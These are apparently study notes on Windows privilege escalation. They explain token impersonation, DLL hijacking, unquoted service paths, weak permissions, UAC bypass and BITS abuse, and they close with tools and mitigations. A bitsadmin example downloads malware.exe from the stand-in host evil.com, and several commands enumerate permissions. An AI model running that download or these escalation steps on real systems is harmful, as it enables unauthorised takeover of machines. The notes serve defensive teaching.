3. Windows Privilege Escalation

🔐 What is Windows Privilege Escalation and Why Is It Important?

Privilege escalation in Windows refers to gaining higher-level permissions (like SYSTEM or Administrator) from a lower-privileged user account.
It's important in **cybersecurity** because:

- Attackers often start as limited users.
- They need elevated privileges to access sensitive files, install rootkits, or maintain persistence.

🛡️ Preventing privilege escalation is key to **limiting damage** from initial access.

🧪 How Token Manipulation (e.g., SeImpersonatePrivilege) Is Exploited

Windows uses **tokens** to define what a user can do. Some services run as SYSTEM and **allow impersonation** of their security token.

SeImpersonatePrivilege lets a process impersonate a token of a more privileged user.

🛠️ **Example exploit**:

- **JuicyPotato** or **RoguePotato** tricks a vulnerable service to pass a SYSTEM token to the attacker.
- The attacker impersonates SYSTEM and spawns a high-privileged shell.

🧬 What is DLL Hijacking?

DLLs (Dynamic Link Libraries) are like plugins for Windows programs.

When an application tries to load a DLL without specifying its **full path**, it may load a malicious one if placed in the right directory.

🛠️ **Privilege escalation occurs** when:

- A service running as SYSTEM loads your **malicious DLL**, granting **SYSTEM access**.

👀 Look for:

- Services using `LoadLibrary()`
- Missing DLLs in `C:\Program Files\App\`

📂 Unquoted Service Paths

When a service has an **unquoted path with spaces**, Windows may look for executables in incorrect locations.

🔍 Example:

```
C:\Program Files\My App\MyService.exe
```

If unquoted, Windows might execute:

- `C:\Program.exe`
- `C:\Program Files\My.exe`

⚔️ You can place a malicious `Program.exe` in `C:\` and restart the service — it runs as SYSTEM!

⚙️ Misconfigured Service Permissions

Windows services have **security descriptors** that define who can:

- Start
- Stop
- Modify them

If a user has **write or start permissions**, they can:

- **Replace the executable** with a malicious one
- Restart the service
- Get SYSTEM privileges

🔎 Use:

```
accesschk.exe -uwcqv "Authenticated Users" *
```

⏰ Scheduled Tasks and At Jobs Vulnerabilities

Windows uses **Task Scheduler** to run scripts and programs.

If a task:

- Runs as SYSTEM
- Has a **user-writable script or binary**
  Then an attacker can replace the target file to run code as SYSTEM.

Also, old `at.exe` jobs may lack proper ACLs.

🪟 Weak Registry Permissions

The **Windows Registry** stores system and app configs.

If attackers can **modify keys** tied to services, they can:

- Change the path to an executable
- Replace a binary that runs with SYSTEM privileges

🛠️ Tool: `accesschk.exe`

```
accesschk.exe -uvwqs "Users" HKLM\System\CurrentControlSet\Services\
```

💾 Insecure File Permissions

If important files (executables, config files) are:

- **World-writable** (i.e., non-admins can modify them),
  An attacker can overwrite them with malicious code.

💥 When the system or a service runs them, it executes the attacker's code with **elevated privileges**.

🔍 Use:

```
icacls "C:\Program Files\App\app.exe"
```

🔓 Bypassing UAC (User Account Control)

UAC prompts the user before letting a program run with Admin rights.

But some programs:

- Auto-elevate without UAC
- Are whitelisted (auto-approved by Windows)

⚔️ Attackers can:

- **Hijack UAC-approved programs** (like `fodhelper.exe`, `eventvwr.exe`)
- Use them to **run malicious code as Admin** without alerting the user

🛠️ Tool: `UACMe`

📡 Abusing Background Intelligent Transfer Service (BITS)

BITS is a Windows service that downloads updates **as SYSTEM**.

Attackers can:

- Create a BITS job to download and execute a **malicious file**
- Run code in the SYSTEM context

🛠️ Tool:

```
bitsadmin /create /download myjob
bitsadmin /addfile myjob http://evil.com/malware.exe C:\malware.exe
bitsadmin /resume myjob
```

🧰 Key Tools for Windows Privilege Escalation

Tool	Purpose
Mimikatz	Dump credentials, tokens, hashes
PowerUp	Find escalation vectors (PowerShell)
Seatbelt	Audit system for weaknesses
WinPEAS	Enumerate all local misconfigs
JuicyPotato/RoguePotato	Exploit SeImpersonate
AccessChk (Sysinternals)	Check file, registry, and service permissions
Sherlock	Identify vulnerable software

🛡️ Common Mitigation Strategies

- ✅ Apply the **Principle of Least Privilege (PoLP)**
- ✅ Keep Windows & software **updated and patched**
- ✅ Use **secure file and registry permissions**
- ✅ Disable **unused services**
- ✅ Enable **UAC** and monitor for bypass attempts
- ✅ Use **AppLocker/Device Guard** to restrict unauthorized apps
- ✅ Audit with **SIEM tools** and **log anomalous activity**
- ✅ Monitor **scheduled tasks**, **service changes**, and **BITS jobs**